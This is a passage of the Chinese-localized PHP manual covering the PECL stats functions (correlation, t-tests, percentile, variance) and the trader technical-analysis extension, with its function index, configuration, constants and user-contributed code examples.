$a=$x[$i]-$mean1;
$b=$y[$i]-$mean2;
$axb=$axb+($a*$b);
$a2=$a2+ pow($a,2);
$b2=$b2+ pow($b,2);
}

$corr= $axb / sqrt($a2*$b2);

return $corr;
}
admin at maychu dot net (Le Cong) 14-Jun-2009 09:58
Please note that this function is reserved for two arrays with continued numbers inside (just integers).
I tested this function and found that it calculate the Pearson's Correlation Coefficient of two arrays.
---
Here's suggested documentation:

stats_stat_correlation — Calculate the Pearson's Correlation Coefficient of two arrays of continued numbers.

Parameters:
arr1 = array (integer1a, interger2a ...)
arr2 = array (integer1b, interger2b ...))
(Note that the count of elements in two arrays must be equal)

Return value: Pearson's Correlation Coefficient in decimal format (ex. 0.934399822094)

Code examples:

<?php
// Provided by admin@maychu.net
$array_x = array(5,3,6,7,4,2,9,5);
$array_y = array(4,3,4,8,3,2,10,5);
$pearson = stats_stat_correlation($array_x,$array_y);
echo $pearson;
?>
umar dot anjum at ymail dot com 04-Mar-2009 10:05
I tried to use this function, but got a not-defined error. Anyway, I have created a set of functions to replace this:

<?php

//Since Correlation needs two arrays, I am hardcoding them
$array1[0] = 59.3;
$array1[1] = 61.2;
$array1[2] = 56.8
$array1[3] = 97.55;

$array2[0] = 565.82;
$array2[1] = 54.568;
$array2[2] = 84.22;
$array2[3] = 483.55;

//To find the correlation of the two arrays, simply call the
//function Correlation that takes two arrays:

$correlation = Correlation($array1, $array2);

//Displaying the calculated Correlation:
print $correlation;

//The functions that work behind the scene to calculate the
//correlation

function Correlation($arr1, $arr2)
{
    $correlation = 0;

    $k = SumProductMeanDeviation($arr1, $arr2);
    $ssmd1 = SumSquareMeanDeviation($arr1);
    $ssmd2 = SumSquareMeanDeviation($arr2);

    $product = $ssmd1 * $ssmd2;

    $res = sqrt($product);

    $correlation = $k / $res;

    return $correlation;
}

function SumProductMeanDeviation($arr1, $arr2)
{
    $sum = 0;

    $num = count($arr1);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + ProductMeanDeviation($arr1, $arr2, $i);
    }

    return $sum;
}

function ProductMeanDeviation($arr1, $arr2, $item)
{
    return (MeanDeviation($arr1, $item) * MeanDeviation($arr2, $item));
}

function SumSquareMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + SquareMeanDeviation($arr, $i);
    }

    return $sum;
}

function SquareMeanDeviation($arr, $item)
{
    return MeanDeviation($arr, $item) * MeanDeviation($arr, $item);
}

function SumMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + MeanDeviation($arr, $i);
    }

    return $sum;
}

function MeanDeviation($arr, $item)
{
    $average = Average($arr);

    return $arr[$item] - $average;
}

function Average($arr)
{
    $sum = Sum($arr);
    $num = count($arr);

    return $sum/$num;
}

function Sum($arr)
{
    return array_sum($arr);
}

?>


Returns the factorial of an integer

  • ? stats_stat_correlation
  • stats_stat_independent_t ?
  • PHP Manual
  • Statistic 函数
  • Returns the factorial of an integer

stats_stat_factorial

(PECL stats >= 1.0.0)

stats_stat_factorial — Returns the factorial of an integer

说明

stats_stat_factorial(int $n): float

Returns the factorial of an integer, n.

参数

n

An integer

返回值

The factorial of n.

User Contributed Notes

There are no user contributed notes for this page.


Returns the t-value from the independent two-sample t-test

  • ? stats_stat_factorial
  • stats_stat_innerproduct ?
  • PHP Manual
  • Statistic 函数
  • Returns the t-value from the independent two-sample t-test

stats_stat_independent_t

(PECL stats >= 1.0.0)

stats_stat_independent_t — Returns the t-value from the independent two-sample t-test

说明

stats_stat_independent_t(array $arr1, array $arr2): float

Returns the t-value of the independent two-sample t-test between arr1 and arr2.

Warning

本函数还未编写文档，仅有参数列表。

参数

arr1

The first set of values

arr2

The second set of values

返回值

Returns the t-value, or false if failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the inner product of two vectors

  • ? stats_stat_independent_t
  • stats_stat_paired_t ?
  • PHP Manual
  • Statistic 函数
  • Returns the inner product of two vectors

stats_stat_innerproduct

(PECL stats >= 1.0.0)

stats_stat_innerproduct — Returns the inner product of two vectors

说明

stats_stat_innerproduct(array $arr1, array $arr2): float

Returns the inner product of arr1 and arr2.

参数

arr1

The first array

arr2

The second array

返回值

Returns the inner product of arr1 and arr2, or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the t-value of the dependent t-test for paired samples

  • ? stats_stat_innerproduct
  • stats_stat_percentile ?
  • PHP Manual
  • Statistic 函数
  • Returns the t-value of the dependent t-test for paired samples

stats_stat_paired_t

(PECL stats >= 1.0.0)

stats_stat_paired_t — Returns the t-value of the dependent t-test for paired samples

说明

stats_stat_paired_t(array $arr1, array $arr2): float

Returns the t-value of the dependent t-test for paired samples arr1 and arr2.

参数

arr1

The first samples

arr2

The second samples

返回值

Returns the t-value, or false if failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the percentile value

  • ? stats_stat_paired_t
  • stats_stat_powersum ?
  • PHP Manual
  • Statistic 函数
  • Returns the percentile value

stats_stat_percentile

(PECL stats >= 1.0.0)

stats_stat_percentile — Returns the percentile value

说明

stats_stat_percentile(array $arr, float $perc): float

Returns the perc-th percentile value of the array arr.

参数

arr

The input array

perc

The percentile

返回值

Returns the percentile values of the input array.

User Contributed Notes

aboulang2002 at yahoo dot com 28-Jan-2009 05:22
If you are looking to infer the percentile from a z-score, you can use this function.
It's far from precise but does the job on most circumstances.
The error function ( erf() )is based on the approximation on wikipedia:
http://en.wikipedia.org/wiki/Error_function

<?php
function erf($x)
{
        $pi = 3.1415927;
        $a = (8*($pi - 3))/(3*$pi*(4 - $pi));
        $x2 = $x * $x;

        $ax2 = $a * $x2;
        $num = (4/$pi) + $ax2;
        $denom = 1 + $ax2;

        $inner = (-$x2)*$num/$denom;
        $erf2 = 1 - exp($inner);

        return sqrt($erf2);
}

function cdf($n)
{
        if($n < 0)
        {
                return (1 - erf($n / sqrt(2)))/2;
        }
        else
        {
                return (1 + erf($n / sqrt(2)))/2;
        }
}

// EXAMPLE
$sample = 90;
$avg = 75;
$stddev = 12;

$zscore = ($sample - $avg) / $stddev;
print 'Percentile: ' . cdf($zscore) * 100 . "\n";
?>

Where $n is the z-score

The function cdf() returns the approximed cumulative standard normal distribution ([0..1])

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (Ed) on 24-FEB-2010 which fixes the definition of $a in erf() with the note that it is "out by a factor of -1" in the original code.]
yuvaraj dot v at gmail dot com 11-Dec-2007 04:37
I have looked at the code available in the Math package for percentile. I compared the result obtained with percentile from Excel and found that it doesnt match. So i wrote my own percentile function and verified the result with the Excel's percentile.

For those of you who need the percentile calculation of Excel in php..

<?php
function mypercentile($data,$percentile){
    if( 0 < $percentile && $percentile < 1 ) {
        $p = $percentile;
    }else if( 1 < $percentile && $percentile <= 100 ) {
        $p = $percentile * .01;
    }else {
        return "";
    }
    $count = count($data);
    $allindex = ($count-1)*$p;
    $intvalindex = intval($allindex);
    $floatval = $allindex - $intvalindex;
    sort($data);
    if(!is_float($floatval)){
        $result = $data[$intvalindex];
    }else {
        if($count > $intvalindex+1)
            $result = $floatval*($data[$intvalindex+1] - $data[$intvalindex]) + $data[$intvalindex];
        else
            $result = $data[$intvalindex];
    }
    return $result;
}
?>

The above code may not be elegant.. but it solves my problem..

yuvaraj


Returns the power sum of a vector

  • ? stats_stat_percentile
  • stats_variance ?
  • PHP Manual
  • Statistic 函数
  • Returns the power sum of a vector

stats_stat_powersum

(PECL stats >= 1.0.0)

stats_stat_powersum — Returns the power sum of a vector

说明

stats_stat_powersum(array $arr, float $power): float

Returns the sum of the power-th power of a vector represented as an array arr.

参数

arr

The input array

power

The power

返回值

Returns the power sum of the input array.

User Contributed Notes

There are no user contributed notes for this page.


Returns the variance

  • ? stats_stat_powersum
  • Trader ?
  • PHP Manual
  • Statistic 函数
  • Returns the variance

stats_variance

(PECL stats >= 1.0.0)

stats_variance — Returns the variance

说明

stats_variance(array $a, bool $sample = false): float

Returns the variance of the values in a.

参数

a

The array of data to find the standard deviation for. Note that all values of the array will be cast to float.

sample

Indicates if a represents a sample of the population; defaults to false.

返回值

Returns the variance on success; false on failure.

User Contributed Notes

Anonymous 27-Feb-2009 01:43
This will return surprising values for most users, since the default of sample=false is rather unusual when speaking about variance.

Point is:
When using stats_variance($foo,TRUE) the sum is divided by n-1 while the default just divides it by n. So when you expect your variance to be lower you probable wanted to divide by n-1, therefore should set the second parameter =TRUE.


Technical Analysis for Traders

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • Trader 函数
    • trader_acos — Vector Trigonometric ACos
    • trader_ad — Chaikin A/D Line
    • trader_add — Vector Arithmetic Add
    • trader_adosc — Chaikin A/D Oscillator
    • trader_adx — Average Directional Movement Index
    • trader_adxr — Average Directional Movement Index Rating
    • trader_apo — Absolute Price Oscillator
    • trader_aroon — Aroon
    • trader_aroonosc — Aroon Oscillator
    • trader_asin — Vector Trigonometric ASin
    • trader_atan — Vector Trigonometric ATan
    • trader_atr — Average True Range
    • trader_avgprice — Average Price
    • trader_bbands — Bollinger Bands
    • trader_beta — Beta
    • trader_bop — Balance Of Power
    • trader_cci — Commodity Channel Index
    • trader_cdl2crows — Two Crows
    • trader_cdl3blackcrows — Three Black Crows
    • trader_cdl3inside — Three Inside Up/Down
    • trader_cdl3linestrike — Three-Line Strike
    • trader_cdl3outside — Three Outside Up/Down
    • trader_cdl3starsinsouth — Three Stars In The South
    • trader_cdl3whitesoldiers — Three Advancing White Soldiers
    • trader_cdlabandonedbaby — Abandoned Baby
    • trader_cdladvanceblock — Advance Block
    • trader_cdlbelthold — Belt-hold
    • trader_cdlbreakaway — Breakaway
    • trader_cdlclosingmarubozu — Closing Marubozu
    • trader_cdlconcealbabyswall — Concealing Baby Swallow
    • trader_cdlcounterattack — Counterattack
    • trader_cdldarkcloudcover — Dark Cloud Cover
    • trader_cdldoji — Doji
    • trader_cdldojistar — Doji Star
    • trader_cdldragonflydoji — Dragonfly Doji
    • trader_cdlengulfing — Engulfing Pattern
    • trader_cdleveningdojistar — Evening Doji Star
    • trader_cdleveningstar — Evening Star
    • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
    • trader_cdlgravestonedoji — Gravestone Doji
    • trader_cdlhammer — Hammer
    • trader_cdlhangingman — Hanging Man
    • trader_cdlharami — Harami Pattern
    • trader_cdlharamicross — Harami Cross Pattern
    • trader_cdlhighwave — High-Wave Candle
    • trader_cdlhikkake — Hikkake Pattern
    • trader_cdlhikkakemod — Modified Hikkake Pattern
    • trader_cdlhomingpigeon — Homing Pigeon
    • trader_cdlidentical3crows — Identical Three Crows
    • trader_cdlinneck — In-Neck Pattern
    • trader_cdlinvertedhammer — Inverted Hammer
    • trader_cdlkicking — Kicking
    • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
    • trader_cdlladderbottom — Ladder Bottom
    • trader_cdllongleggeddoji — Long Legged Doji
    • trader_cdllongline — Long Line Candle
    • trader_cdlmarubozu — Marubozu
    • trader_cdlmatchinglow — Matching Low
    • trader_cdlmathold — Mat Hold
    • trader_cdlmorningdojistar — Morning Doji Star
    • trader_cdlmorningstar — Morning Star
    • trader_cdlonneck — On-Neck Pattern
    • trader_cdlpiercing — Piercing Pattern
    • trader_cdlrickshawman — Rickshaw Man
    • trader_cdlrisefall3methods — Rising/Falling Three Methods
    • trader_cdlseparatinglines — Separating Lines
    • trader_cdlshootingstar — Shooting Star
    • trader_cdlshortline — Short Line Candle
    • trader_cdlspinningtop — Spinning Top
    • trader_cdlstalledpattern — Stalled Pattern
    • trader_cdlsticksandwich — Stick Sandwich
    • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
    • trader_cdltasukigap — Tasuki Gap
    • trader_cdlthrusting — Thrusting Pattern
    • trader_cdltristar — Tristar Pattern
    • trader_cdlunique3river — Unique 3 River
    • trader_cdlupsidegap2crows — Upside Gap Two Crows
    • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
    • trader_ceil — Vector Ceil
    • trader_cmo — Chande Momentum Oscillator
    • trader_correl — Pearson's Correlation Coefficient (r)
    • trader_cos — Vector Trigonometric Cos
    • trader_cosh — Vector Trigonometric Cosh
    • trader_dema — Double Exponential Moving Average
    • trader_div — Vector Arithmetic Div
    • trader_dx — Directional Movement Index
    • trader_ema — Exponential Moving Average
    • trader_errno — Get error code
    • trader_exp — Vector Arithmetic Exp
    • trader_floor — Vector Floor
    • trader_get_compat — Get compatibility mode
    • trader_get_unstable_period — Get unstable period
    • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
    • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
    • trader_ht_phasor — Hilbert Transform - Phasor Components
    • trader_ht_sine — Hilbert Transform - SineWave
    • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
    • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
    • trader_kama — Kaufman Adaptive Moving Average
    • trader_linearreg_angle — Linear Regression Angle
    • trader_linearreg_intercept — Linear Regression Intercept
    • trader_linearreg_slope — Linear Regression Slope
    • trader_linearreg — Linear Regression
    • trader_ln — Vector Log Natural
    • trader_log10 — Vector Log10
    • trader_ma — Moving average
    • trader_macd — Moving Average Convergence/Divergence
    • trader_macdext — MACD with controllable MA type
    • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
    • trader_mama — MESA Adaptive Moving Average
    • trader_mavp — Moving average with variable period
    • trader_max — Highest value over a specified period
    • trader_maxindex — Index of highest value over a specified period
    • trader_medprice — Median Price
    • trader_mfi — Money Flow Index
    • trader_midpoint — MidPoint over period
    • trader_midprice — Midpoint Price over period
    • trader_min — Lowest value over a specified period
    • trader_minindex — Index of lowest value over a specified period
    • trader_minmax — Lowest and highest values over a specified period
    • trader_minmaxindex — Indexes of lowest and highest values over a specified period
    • trader_minus_di — Minus Directional Indicator
    • trader_minus_dm — Minus Directional Movement
    • trader_mom — Momentum
    • trader_mult — Vector Arithmetic Mult
    • trader_natr — Normalized Average True Range
    • trader_obv — On Balance Volume
    • trader_plus_di — Plus Directional Indicator
    • trader_plus_dm — Plus Directional Movement
    • trader_ppo — Percentage Price Oscillator
    • trader_roc — Rate of change : ((price/prevPrice)-1)*100
    • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
    • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
    • trader_rocr — Rate of change ratio: (price/prevPrice)
    • trader_rsi — Relative Strength Index
    • trader_sar — Parabolic SAR
    • trader_sarext — Parabolic SAR - Extended
    • trader_set_compat — Set compatibility mode
    • trader_set_unstable_period — Set unstable period
    • trader_sin — Vector Trigonometric Sin
    • trader_sinh — Vector Trigonometric Sinh
    • trader_sma — Simple Moving Average
    • trader_sqrt — Vector Square Root
    • trader_stddev — Standard Deviation
    • trader_stoch — Stochastic
    • trader_stochf — Stochastic Fast
    • trader_stochrsi — Stochastic Relative Strength Index
    • trader_sub — Vector Arithmetic Subtraction
    • trader_sum — Summation
    • trader_t3 — Triple Exponential Moving Average (T3)
    • trader_tan — Vector Trigonometric Tan
    • trader_tanh — Vector Trigonometric Tanh
    • trader_tema — Triple Exponential Moving Average
    • trader_trange — True Range
    • trader_trima — Triangular Moving Average
    • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
    • trader_tsf — Time Series Forecast
    • trader_typprice — Typical Price
    • trader_ultosc — Ultimate Oscillator
    • trader_var — Variance
    • trader_wclprice — Weighted Close Price
    • trader_willr — Williams' %R
    • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


简介

The trader extension is a free open source stock library based on TA-Lib. It's dedicated to trading software developers requiring to perform technical analysis of financial market data. Alongside many indicators like ADX, MACD, RSI, Stochastic, TRIX the candlestick pattern recognition and several vector arithmetic and algebraic functions are present.

Calculations can be done in two modes - TA-Lib and Metastock. Changing it using trader_set_compat() will affect the way some trader functions work.

Some trader functions provide different results depending of the "starting point" of the data being involved. This is often referred as a function having memories. An example of such function is the Exponential Moving Average. It is possible to control the unstable period (the amount of data to strip off) using trader_set_unstable_period() function.

Extended documentation about indicators, formulas and implementations in other programming languages can be found under » tadoc.org.

User Contributed Notes

There are no user contributed notes for this page.


需求

The trader extension is based on » TA-Lib. TA-Lib is fully integrated into the extension, therefore no external libraries are needed.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/trader.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/trader/.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Trader 配置选项
名字 | 默认 | 可修改范围 | 更新日志
trader.real_precision | 3 | PHP_INI_ALL | Since trader 0.2.1
trader.real_round_mode | HALF_DOWN | PHP_INI_ALL | Since trader 0.3.0

这是配置指令的简短说明。

trader.real_precision int

All the values in the returned arrays will be rounded to this precision. However the calculations inside TA-Lib happen with unrounded values.

trader.real_round_mode string

Controls the trader real rounding policy. Valid values are HALF_UP, HALF_DOWN, HALF_EVEN and HALF_ODD. The behaviour is identical to the round() function used with the mode argument.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

TRADER_MA_TYPE_SMA (int)
TRADER_MA_TYPE_EMA (int)
TRADER_MA_TYPE_WMA (int)
TRADER_MA_TYPE_DEMA (int)
TRADER_MA_TYPE_TEMA (int)
TRADER_MA_TYPE_TRIMA (int)
TRADER_MA_TYPE_KAMA (int)
TRADER_MA_TYPE_MAMA (int)
TRADER_MA_TYPE_T3 (int)
TRADER_REAL_MIN (float)
TRADER_REAL_MAX (float)
TRADER_FUNC_UNST_ADX (int)
TRADER_FUNC_UNST_ADXR (int)
TRADER_FUNC_UNST_ATR (int)
TRADER_FUNC_UNST_CMO (int)
TRADER_FUNC_UNST_DX (int)
TRADER_FUNC_UNST_EMA (int)
TRADER_FUNC_UNST_HT_DCPERIOD (int)
TRADER_FUNC_UNST_HT_DCPHASE (int)
TRADER_FUNC_UNST_HT_PHASOR (int)
TRADER_FUNC_UNST_HT_SINE (int)
TRADER_FUNC_UNST_HT_TRENDLINE (int)
TRADER_FUNC_UNST_HT_TRENDMODE (int)
TRADER_FUNC_UNST_KAMA (int)
TRADER_FUNC_UNST_MAMA (int)
TRADER_FUNC_UNST_MFI (int)
TRADER_FUNC_UNST_MINUS_DI (int)
TRADER_FUNC_UNST_MINUS_DM (int)
TRADER_FUNC_UNST_NATR (int)
TRADER_FUNC_UNST_PLUS_DI (int)
TRADER_FUNC_UNST_PLUS_DM (int)
TRADER_FUNC_UNST_RSI (int)
TRADER_FUNC_UNST_STOCHRSI (int)
TRADER_FUNC_UNST_T3 (int)
TRADER_FUNC_UNST_ALL (int)
TRADER_FUNC_UNST_NONE (int)
TRADER_COMPATIBILITY_DEFAULT (int)
TRADER_COMPATIBILITY_METASTOCK (int)
TRADER_ERR_SUCCESS (int)
TRADER_ERR_LIB_NOT_INITIALIZE (int)
TRADER_ERR_BAD_PARAM (int)
TRADER_ERR_ALLOC_ERR (int)
TRADER_ERR_GROUP_NOT_FOUND (int)
TRADER_ERR_FUNC_NOT_FOUND (int)
TRADER_ERR_INVALID_HANDLE (int)
TRADER_ERR_INVALID_PARAM_HOLDER (int)
TRADER_ERR_INVALID_PARAM_HOLDER_TYPE (int)
TRADER_ERR_INVALID_PARAM_FUNCTION (int)
TRADER_ERR_INPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUTPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUT_OF_RANGE_START_INDEX (int)
TRADER_ERR_OUT_OF_RANGE_END_INDEX (int)
TRADER_ERR_INVALID_LIST_TYPE (int)
TRADER_ERR_BAD_OBJECT (int)
TRADER_ERR_NOT_SUPPORTED (int)
TRADER_ERR_INTERNAL_ERROR (int)
TRADER_ERR_UNKNOWN_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


Trader 函数

Table of Contents

  • trader_acos — Vector Trigonometric ACos
  • trader_ad — Chaikin A/D Line
  • trader_add — Vector Arithmetic Add
  • trader_adosc — Chaikin A/D Oscillator
  • trader_adx — Average Directional Movement Index
  • trader_adxr — Average Directional Movement Index Rating
  • trader_apo — Absolute Price Oscillator
  • trader_aroon — Aroon
  • trader_aroonosc — Aroon Oscillator
  • trader_asin — Vector Trigonometric ASin
  • trader_atan — Vector Trigonometric ATan
  • trader_atr — Average True Range
  • trader_avgprice — Average Price
  • trader_bbands — Bollinger Bands
  • trader_beta — Beta
  • trader_bop — Balance Of Power
  • trader_cci — Commodity Channel Index
  • trader_cdl2crows — Two Crows
  • trader_cdl3blackcrows — Three Black Crows
  • trader_cdl3inside — Three Inside Up/Down
  • trader_cdl3linestrike — Three-Line Strike
  • trader_cdl3outside — Three Outside Up/Down
  • trader_cdl3starsinsouth — Three Stars In The South
  • trader_cdl3whitesoldiers — Three Advancing White Soldiers
  • trader_cdlabandonedbaby — Abandoned Baby
  • trader_cdladvanceblock — Advance Block
  • trader_cdlbelthold — Belt-hold
  • trader_cdlbreakaway — Breakaway
  • trader_cdlclosingmarubozu — Closing Marubozu
  • trader_cdlconcealbabyswall — Concealing Baby Swallow
  • trader_cdlcounterattack — Counterattack
  • trader_cdldarkcloudcover — Dark Cloud Cover
  • trader_cdldoji — Doji
  • trader_cdldojistar — Doji Star
  • trader_cdldragonflydoji — Dragonfly Doji
  • trader_cdlengulfing — Engulfing Pattern
  • trader_cdleveningdojistar — Evening Doji Star
  • trader_cdleveningstar — Evening Star
  • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
  • trader_cdlgravestonedoji — Gravestone Doji
  • trader_cdlhammer — Hammer
  • trader_cdlhangingman — Hanging Man
  • trader_cdlharami — Harami Pattern
  • trader_cdlharamicross — Harami Cross Pattern
  • trader_cdlhighwave — High-Wave Candle
  • trader_cdlhikkake — Hikkake Pattern
  • trader_cdlhikkakemod — Modified Hikkake Pattern
  • trader_cdlhomingpigeon — Homing Pigeon
  • trader_cdlidentical3crows — Identical Three Crows
  • trader_cdlinneck — In-Neck Pattern
  • trader_cdlinvertedhammer — Inverted Hammer
  • trader_cdlkicking — Kicking
  • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
  • trader_cdlladderbottom — Ladder Bottom
  • trader_cdllongleggeddoji — Long Legged Doji
  • trader_cdllongline — Long Line Candle
  • trader_cdlmarubozu — Marubozu
  • trader_cdlmatchinglow — Matching Low
  • trader_cdlmathold — Mat Hold
  • trader_cdlmorningdojistar — Morning Doji Star
  • trader_cdlmorningstar — Morning Star
  • trader_cdlonneck — On-Neck Pattern
  • trader_cdlpiercing — Piercing Pattern
  • trader_cdlrickshawman — Rickshaw Man
  • trader_cdlrisefall3methods — Rising/Falling Three Methods
  • trader_cdlseparatinglines — Separating Lines
  • trader_cdlshootingstar — Shooting Star
  • trader_cdlshortline — Short Line Candle
  • trader_cdlspinningtop — Spinning Top
  • trader_cdlstalledpattern — Stalled Pattern
  • trader_cdlsticksandwich — Stick Sandwich
  • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
  • trader_cdltasukigap — Tasuki Gap
  • trader_cdlthrusting — Thrusting Pattern
  • trader_cdltristar — Tristar Pattern
  • trader_cdlunique3river — Unique 3 River
  • trader_cdlupsidegap2crows — Upside Gap Two Crows
  • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
  • trader_ceil — Vector Ceil
  • trader_cmo — Chande Momentum Oscillator
  • trader_correl — Pearson's Correlation Coefficient (r)
  • trader_cos — Vector Trigonometric Cos
  • trader_cosh — Vector Trigonometric Cosh
  • trader_dema — Double Exponential Moving Average
  • trader_div — Vector Arithmetic Div
  • trader_dx — Directional Movement Index
  • trader_ema — Exponential Moving Average
  • trader_errno — Get error code
  • trader_exp — Vector Arithmetic Exp
  • trader_floor — Vector Floor
  • trader_get_compat — Get compatibility mode
  • trader_get_unstable_period — Get unstable period
  • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
  • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
  • trader_ht_phasor — Hilbert Transform - Phasor Components
  • trader_ht_sine — Hilbert Transform - SineWave
  • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
  • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
  • trader_kama — Kaufman Adaptive Moving Average
  • trader_linearreg_angle — Linear Regression Angle
  • trader_linearreg_intercept — Linear Regression Intercept
  • trader_linearreg_slope — Linear Regression Slope
  • trader_linearreg — Linear Regression
  • trader_ln — Vector Log Natural
  • trader_log10 — Vector Log10
  • trader_ma — Moving average
  • trader_macd — Moving Average Convergence/Divergence
  • trader_macdext — MACD with controllable MA type
  • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
  • trader_mama — MESA Adaptive Moving Average
  • trader_mavp — Moving average with variable period
  • trader_max — Highest value over a specified period
  • trader_maxindex — Index of highest value over a specified period
  • trader_medprice — Median Price
  • trader_mfi — Money Flow Index
  • trader_midpoint — MidPoint over period
  • trader_midprice — Midpoint Price over period
  • trader_min — Lowest value over a specified period
  • trader_minindex — Index of lowest value over a specified period
  • trader_minmax — Lowest and highest values over a specified period
  • trader_minmaxindex — Indexes of lowest and highest values over a specified period
  • trader_minus_di — Minus Directional Indicator
  • trader_minus_dm — Minus Directional Movement
  • trader_mom — Momentum
  • trader_mult — Vector Arithmetic Mult
  • trader_natr — Normalized Average True Range
  • trader_obv — On Balance Volume
  • trader_plus_di — Plus Directional Indicator
  • trader_plus_dm — Plus Directional Movement
  • trader_ppo — Percentage Price Oscillator
  • trader_roc — Rate of change : ((price/prevPrice)-1)*100
  • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
  • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
  • trader_rocr — Rate of change ratio: (price/prevPrice)
  • trader_rsi — Relative Strength Index
  • trader_sar — Parabolic SAR
  • trader_sarext — Parabolic SAR - Extended
  • trader_set_compat — Set compatibility mode
  • trader_set_unstable_period — Set unstable period
  • trader_sin — Vector Trigonometric Sin
  • trader_sinh — Vector Trigonometric Sinh
  • trader_sma — Simple Moving Average
  • trader_sqrt — Vector Square Root
  • trader_stddev — Standard Deviation
  • trader_stoch — Stochastic
  • trader_stochf — Stochastic Fast
  • trader_stochrsi — Stochastic Relative Strength Index
  • trader_sub — Vector Arithmetic Subtraction
  • trader_sum — Summation
  • trader_t3 — Triple Exponential Moving Average (T3)
  • trader_tan — Vector Trigonometric Tan
  • trader_tanh — Vector Trigonometric Tanh
  • trader_tema — Triple Exponential Moving Average
  • trader_trange — True Range
  • trader_trima — Triangular Moving Average
  • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
  • trader_tsf — Time Series Forecast
  • trader_typprice — Typical Price
  • trader_ultosc — Ultimate Oscillator
  • trader_var — Variance
  • trader_wclprice — Weighted Close Price
  • trader_willr — Williams' %R
  • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ACos

  • ? Trader 函数
  • trader_ad ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric ACos

trader_acos

(PECL trader >= 0.2.0)

trader_acos — Vector Trigonometric ACos

说明

trader_acos(array $real): array

Calculates the arc cosine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 05:24
$real = array(1, 0.5, 1, 0.5, 0.2, 0.3, 0.5, 0.8, 0.9, 0.5);
$result = trader_acos($real);
var_dump($result);
/*
array(10) {
  [0]=>
  float(0)
  [1]=>
  float(1.047)
  [2]=>
  float(0)
  [3]=>
  float(1.047)
  [4]=>
  float(1.369)
  [5]=>
  float(1.266)
  [6]=>
  float(1.047)
  [7]=>
  float(0.644)
  [8]=>
  float(0.451)
  [9]=>
  float(1.047)
}
*/


Chaikin A/D Line

  • ? trader_acos
  • trader_add ?
  • PHP Manual
  • Trader 函数
  • Chaikin A/D Line

trader_ad

(PECL trader >= 0.2.0)

trader_ad — Chaikin A/D Line

说明

trader_ad(
array $high,
array $low,
array $close,
array $volume
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

volume

成交量，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:55
<?php
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);

$Chaikin_AD_Result = trader_ad($highs, $lows , $closes, $volumes);

var_dump($Chaikin_AD_Result);
/*
array(4) {
  [0]=>
  float(-82373223.639)
  [1]=>
  float(-203965149.4)
  [2]=>
  float(-225327056.292)
  [3]=>
  float(-203499800.064)
}
*/


Vector Arithmetic Add

  • ? trader_ad
  • trader_adosc ?
  • PHP Manual
  • Trader 函数
  • Vector Arithmetic Add

trader_add

(PECL trader >= 0.2.0)

trader_add — Vector Arithmetic Add

说明

trader_add(array $real0, array $real1): array

Calculates the vector addition of real0 to real1 and returns the resulting vector.

参数

real0

浮点数数组。

real1

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:02
<?php

